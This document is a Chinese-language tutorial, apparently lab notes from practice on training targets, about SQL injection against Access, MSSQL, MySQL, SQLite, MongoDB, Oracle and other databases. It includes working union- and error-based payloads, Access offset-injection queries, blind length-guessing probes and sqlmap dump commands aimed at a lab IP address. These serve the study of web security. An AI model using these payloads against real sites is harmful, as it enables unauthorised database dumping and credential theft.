前言
SQL作用在關系型數據庫上面,什么是關系型數據庫?關系型數據庫是由一張張的二維表組成的, 常見的關系型數據庫廠商有MySQL、SQLite、SQL Server、Oracle,由於MySQL是免費的,所以企業一般用MySQL的居多。Web SQL是前端的數據庫,它也是本地存儲的一種,使用SQLite實現,SQLite是一種輕量級數據庫,它占的空間小,支持創建表,插入、修改、刪除表格數據,但是不支持修改表結構,如刪掉一縱列,修改表頭字段名等。但是可以把整張表刪了。同一個域可以創建多個DB,每個DB有若干張表。
與數據庫產生交互就有可能存在注入攻擊,不只是MySQL數據庫,還有Oracle,MongoDB等數據庫也可能會存在注入攻擊。
簡要學習各種數據庫的注入特點
數據庫架構組成,數據庫高權限操作
簡要了解各數據庫
Access,Mysql,mssql(Microsoft SQL server),mongoDB,postgresql,sqlite,oracle,sybase等
Access
表名
列名
數據
Access數據庫保存在網站源碼下面,自己網站數據庫獨立存在,所以無法進行跨庫,也沒有文件讀寫的操作。
除了Access其他數據庫組成架構基本都是大同小異。
mysql mssql等
數據庫名A
表名
列名
數據
數據庫名B
。。。。。。
每個數據庫功能不同,我們采取注入的時候攻入方式不同
什么決定網站注入點用戶權限?
數據庫配置文件的用戶,是誰連接的
Access偏移注入
如果遇到列名猜解不到的情況,則可以使用Access偏移注入
1.原理
借用數據庫的自連接查詢讓數據庫內部發生亂序,從而偏移出所需要的字段在我們的頁面上顯示
2.用途
解決Access數據庫中知道表名,但是得不到字段的sql注入困境
3.特點
a. 成功與否看技巧與運氣,不能保證100%成功。
b. 無需管理員賬號密碼字段,直接爆賬號密碼
4.利用條件
a. 已知管理表名
b. 已知任意字段(一個或多個會增加機率,最常見的就是id)
5.影響偏移注入成功因素
a. 管理表的字段數越少越好(最好是三個:id 賬號字段 密碼字段)
b. 當前注入點的腳本內查詢的表內的字段數越多越好
6.流程
a. 判斷字段數
b. 判斷表名
c. 開始偏移注入
本地Access偏移注入靶場
偏移量就是逐步增加或遞減,直到出現結果。* 表示可代替的字符串,用 * 代替22,返回界面依舊報錯,然后用 * 代替21,依次遞減。22-16=6,6表示該表中的列名個數。
*代表6個,后面一串字符代表兩倍,就相當於2倍 * ,12個
爆列名數據
一級偏移語句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
二級偏移語句:union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
二級偏移,3倍*,所以為18個
查看登錄框源代碼的表單值或觀察URL特征等也可以針對表或列獲取不到的情況
猜解表名可能是ZB_admin,觀察網站地址特征,是否有前綴。
或者看登錄框表單值
SQL server/MSSQL注入
1.介紹
Microsoft SQL Server 是一個全面的數據庫平台,使用集成的商業智能 (BI)工具提供了企業級的數據管理。Microsoft SQL Server 數據庫引擎為關系型數據和結構化數據提供了更安全可靠的存儲功能,使您可以構建和管理用於業務的高可用和高性能的數據應用程序。
2.過程
①判斷數據庫類型
and exists (select * from sysobjects)--返回正常為mssql(也名sql server)
and exists (select count(*) from sysobjects)--有時上面那個語句不行就試試這個哈
②判斷數據庫版本
and 1=@@version--這個語句要在有回顯的模式下才可以哦
and substring((select @@version),22,4)='2008'--適用於無回顯模式,后面的2008就是數據庫版本,
返回正常就是2008的復制代碼第一條語句執行效果圖(類似):第二條語句執行效果圖:(如果是2008的話就返回正常)
③獲取所有數據庫的個數 (一下3條語句可供選擇使用)
1. and 1=(select quotename(count(name)) from master..sysdatabases)--
2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --
and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --
說明:dbid從1-4的數據庫一般為系統數據庫.
⑤獲取數據庫 (該語句是一次性獲取全部數據庫的,且語句只適合>=2005,兩條語句可供選擇使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
⑥獲取當前數據庫
and db_name()>0
and 1=(select db_name())--
⑦獲取當前數據庫中的表(有2個語句可供選擇使用)【下列語句可一次爆數據庫所有表(只限於 mssql2005及以上版本)】
and 1=(select quotename(name) from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--
⑧獲得表里的列
一次爆指定表的所有列(只限於mssql2005及以上版本):
and 1=(select quotename(name) from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))--
⑨獲取指定數據庫中的表的列的數據庫
逐條爆指定表的所有字段的數據(只限於mssql2005及以上版本):
and 1=(select top 1 * from 指定數據庫..指定表名 where排除條件 FOR XML PATH(''))--
一次性爆N條所有字段的數據(只限於mssql2005及以上版本):
and 1=(select top N * from 指定數據庫..指定表名 FOR XML PATH(''))--復制代碼第一條語句:and 1=(select top 1 * from 指定數據庫..指定表名 FOR XML PATH(''))--測試效果圖:----------------------------------加上where條件篩選結果出來會更加好,如:where and name like '%user%' 就會篩選出含有user關鍵詞的出來。用在篩選表段時很不錯。
轉自:http://www.myhack58.com/Article/html/3/8/2015/63146.htm
PostgraSQL注入原理
https://www.webshell.cc/524.html
https://www.cnblogs.com/yilishazi/p/14710349.html
https://www.jianshu.com/p/ba0297da2c2e
Oracle注入
https://www.cnblogs.com/peterpan0707007/p/8242119.html
MongoDB注入
https://blog.csdn.net/weixin_33881753/article/details/87981552
https://www.secpulse.com/archives/3278.html
各數據庫手工注入
1.MySQL:
1.找到注入點 and 1=1 and 1=2 測試報錯
2.order by 5 # 到5的時候報錯,獲取字段總數為4
3.id=0(不是1就行,強行報錯) union select 1,2,3,4 # 聯合查詢,2和3可以顯示信息
4.獲取數據庫信息
user() ==>root
database() ==>mozhe_Discuz_StormGroup
version() ==>5.7.22-0ubuntu0.16.04.1
5.獲取數據庫表
table_name 表名
information_schema.tables 系統生成信息表
table_schema=數據庫名16進制或者用單引號括起來
改變limit 0,1中前一個參數,得到兩個表 StormGroup_member notice
6.獲取列名
結果如下 id,name,password,status
7.脫庫
2.Access:
1.and 1=2 報錯找到注入點
2.order by 獲取總字段
3.猜解表名 and exists (select * from admin) 頁面返回正常,說明存在admin表
4.猜解列名 and exists(select id from admin) 頁面顯示正常,admin表中存在id列 username,passwd 同樣存在
5.脫褲 union select 1,username,passwd,4 from admin
3.MSSQL:
1.and 1=2報錯
2.order by N# 獲取總字段
3.猜表名 and exists(select * from manage) 表名manage存在
4.猜解列名 and exists(select id from manage) 列名id存在,同樣username,password也存在
5.脫褲
and exists (select id from manage where id=1 ) 證明id=1存在
and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段長度為8
and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段長度為16
可用Burp的Intruder功能輔助猜解
猜解username第1到8位的字符,ASCII轉碼 admin_mz
猜解password第1到16位的字符,ASCII轉碼(Burp 爆破)
轉ASCII的py腳本:
72e1bfc3f01b7583 MD5解密為97285101
4.SQLite:
1.找注入點 and 1=1
2.order by N 猜字段 4
3.猜數據庫
offset ==>0~2
有三個數據庫:
WSTMart_reg
notice_sybase
sqlite_sequence
4.猜列
共有3個字段:
id,name,password
5.脫褲
5.MongoDB:
1.id=1′ 單引號注入報錯
2.閉合語句,查看所有集合
3.查看指定集合的數據
[0] 代表第一條數據,可遞增
6.DB2:
1.and 1=2 判斷注入點
2.order by N 獲取字段數
3.爆當前數據庫
GAME_CHARACTER
4.列表
NAME
5.脫褲
7.PostgreSQL:
1.and 1=2 判斷注入點
2.order by N 獲取字段
3.爆數據庫
4.列表
5.列字段
6.拖庫
8.Sybase數據庫:
1.and 1=2 判斷注入點
2.order by N 獲取總字段
3.爆數據庫
4.列表
5.列字段
6.查狀態
結果為:zhang
7.反選爆用戶名
結果為:mozhe
8.猜解密碼
9.Oracle:
1.and 1=1
2.order by
3.爆數據庫
4.列表
5.列字段
6.拖庫
加上狀態:1 where STATUS=1
案例演示
1.Access注入
用sqlmap判斷數據庫類型
嘗試猜字段數,order by 5時網頁有回顯,所以字段數為4
http://219.153.49.228:46604/new_list.asp?id=1 order by 5
Access只是單純的數據庫,只有數據,沒有數據庫名,數據庫版本,操作系統等功能,沒有information_shcema。可直接查詢數據,獲取表名,列名。嘗試聯合注入查詢時沒有反應
http://219.153.49.228:46604/new_list.asp?id=-1 union select 1,2,3,4
用猜解方式猜解表名,列名(常用的一些表名,如admin,admin_login等)網頁出現回顯
http://219.153.49.228:46604/new_list.asp?id=-1 union select 1,2,3,4 from admin
在回顯位嘗試猜解字段
使用sqlmap跑出來的結果是一樣的:
sqlmap -u http://219.153.49.228:49010/new_list.asp?id=1 -T admin --colimns
sqlmap -u http://219.153.49.228:49010/new_list.asp?id=1 -T admin -C username,passwd --dump
2.Access偏移注入
1.偏移注入的使用
目前猜測出了表名,但是怎么都猜不出列名,使用聯合查詢法來進行偏移注入
接下來測出偏移量,其實這個偏移量就是admin這張表的列的個數。直接將22改成*號,測試是否回顯正常,不正常就一直往前減,一直減少到回顯正常為止。
這里運氣比較好,直接就爆出了密碼。但是還沒有用戶名呢,那么接下來可以打亂順序來重置爆出來的結果,這里可以使用下列方法來進行完成。
從圖中可以看出已經爆出了用戶名為admin了
2.簡單說下語句,
UNION SELECT 1,2,3,* from (admin as a inner join admin as b on a.id=b.id)
首先為什么從union select 1,2,3,4,5,6,* from變成了1,2,3,* 呢,是這樣推導出來的:
- order by 9代表有9個回顯點
- 1,2,3,4,5,6, * 代表admin表的字段數只有3個
- admin表變成了(admin as a inner join admin as b on a.id=b.id),這里是將admin重命名為了a和b兩張表,然后通過inner join 將a表和b表的id相同字段展示出來,a表和b表本來都是admin表,所以id肯定都是相同的(這里要提醒一下,id這個字段可以換成其它字段,但是一定得存在,一般admin表中都存在id字段的),這樣做的目的就是可以打亂順序來爆出其它字段
- 但是由於增加了一張表,所以字段數得再減少一個*號的長度,所以就從6變成了3。
3.偏移注入的進階
這樣爆東西非常有隨機性,如果表的字段比較多,而這個顯示位又比較少的話,是很有可能爆不出自己想要的東西的,所以接下來學習偏移注入進階
同樣通過order by 和union select找到了表為admin,但是還是掃不出列名,這次回顯點有22個。
測試admin的列的個數,最終長度為6,而且這次什么都沒爆出來
開始偏移注入,爆出的結果卻是時間
此時可以增加a.id或者b.id或者a.id和b.id一起加上去來打亂隨機的順序,時間確實換了,但是又不是我們想要的,這只是一個數字,可能是id值之類的
查看網頁的源代碼,會有隱藏的驚喜
發現這里有隱藏起來的回顯點,爆出來了用戶名為admin,但是還沒有密碼
增加表的個數,修改代碼,UNION SELECT 1,2,3,4,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id),查看源代碼,成功拿到用戶名和密碼了。
3.SQL server/mssql
https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe
通過pangolin獲取所需數據:
還可以進行命令執行和文件管理
key
4.手工注入
判斷是否是Mssql
判斷是否是mssql數據庫,返回正常,說明該數據庫是mssql
判斷數據庫版本號,返回正常,說明版本號正確.
判斷字段長度
order by 4正常,遍歷至5時報錯,說明字段長度為4
尋找字符型顯示位
http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,null,null,null
這里使用的是 union all,它和 union select 的區別就是:union select 會自動去除一些重復的字段,在這個靶場使用 union select 是不行的,所以用 union all。使用null 是說明它無關是字符型還是數字型
猜測顯示位
http://219.153.49.228:44626/new_list.asp?id=-2 union all select '1',null,null,null
http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,'2',null,null
http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,'2','3',null
查詢相關信息
獲取版本信息
http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,@@version,'3',null
獲取數據庫名
http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,db_name(),'3',null
獲取當前用戶名
http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,user,'3',null
http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,system_user,'3',null
http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,current_user,'3',null
查詢表名
http://219.153.49.228:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
http://219.153.49.228:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4
注釋:name not in ('manage') 這段語句意思是查詢 name 不是 'manage' 的,這樣就可以排除 'manage' 從而查詢下一個表名
announcement之后還是manage,說明就這倆表
獲取列名
http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
注釋:col_name 是查詢的列名,object_id('manage')是從manage這個表里查詢,1 代表的是查詢第一個列名
這邊查詢出來第一個列名是 id,我們繼續查第二個列名只需要把數字1修改為2就行了col_name(object_id('manage'),2
http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
查詢出來第二個列名是 username,我們繼續查詢第三個列名:
http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
獲取數據
http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,username,password,null from manage
4.PostgraSQL
https://www.mozhe.cn/bug/detail/ZUd5cld1TU9zdEJ0NWFaSTNXeERRdz09bW96aGUmozhe
字段
sqlmap判斷數據庫種類
查看表名
查看字段名
查看字段值
5.oracle
https://www.mozhe.cn/bug/detail/ZUd5cld1TU9zdEJ0NWFaSTNXeERRdz09bW96aGUmozhe
6.mongoDB
https://www.mozhe.cn/bug/detail/YXlRYUJPYk1vQjAreHlweVAyMzVTUT09bW96aGUmozhe
NoSQLAttack支持mongoDB的注入工具
然后輸入x返回,輸入4進入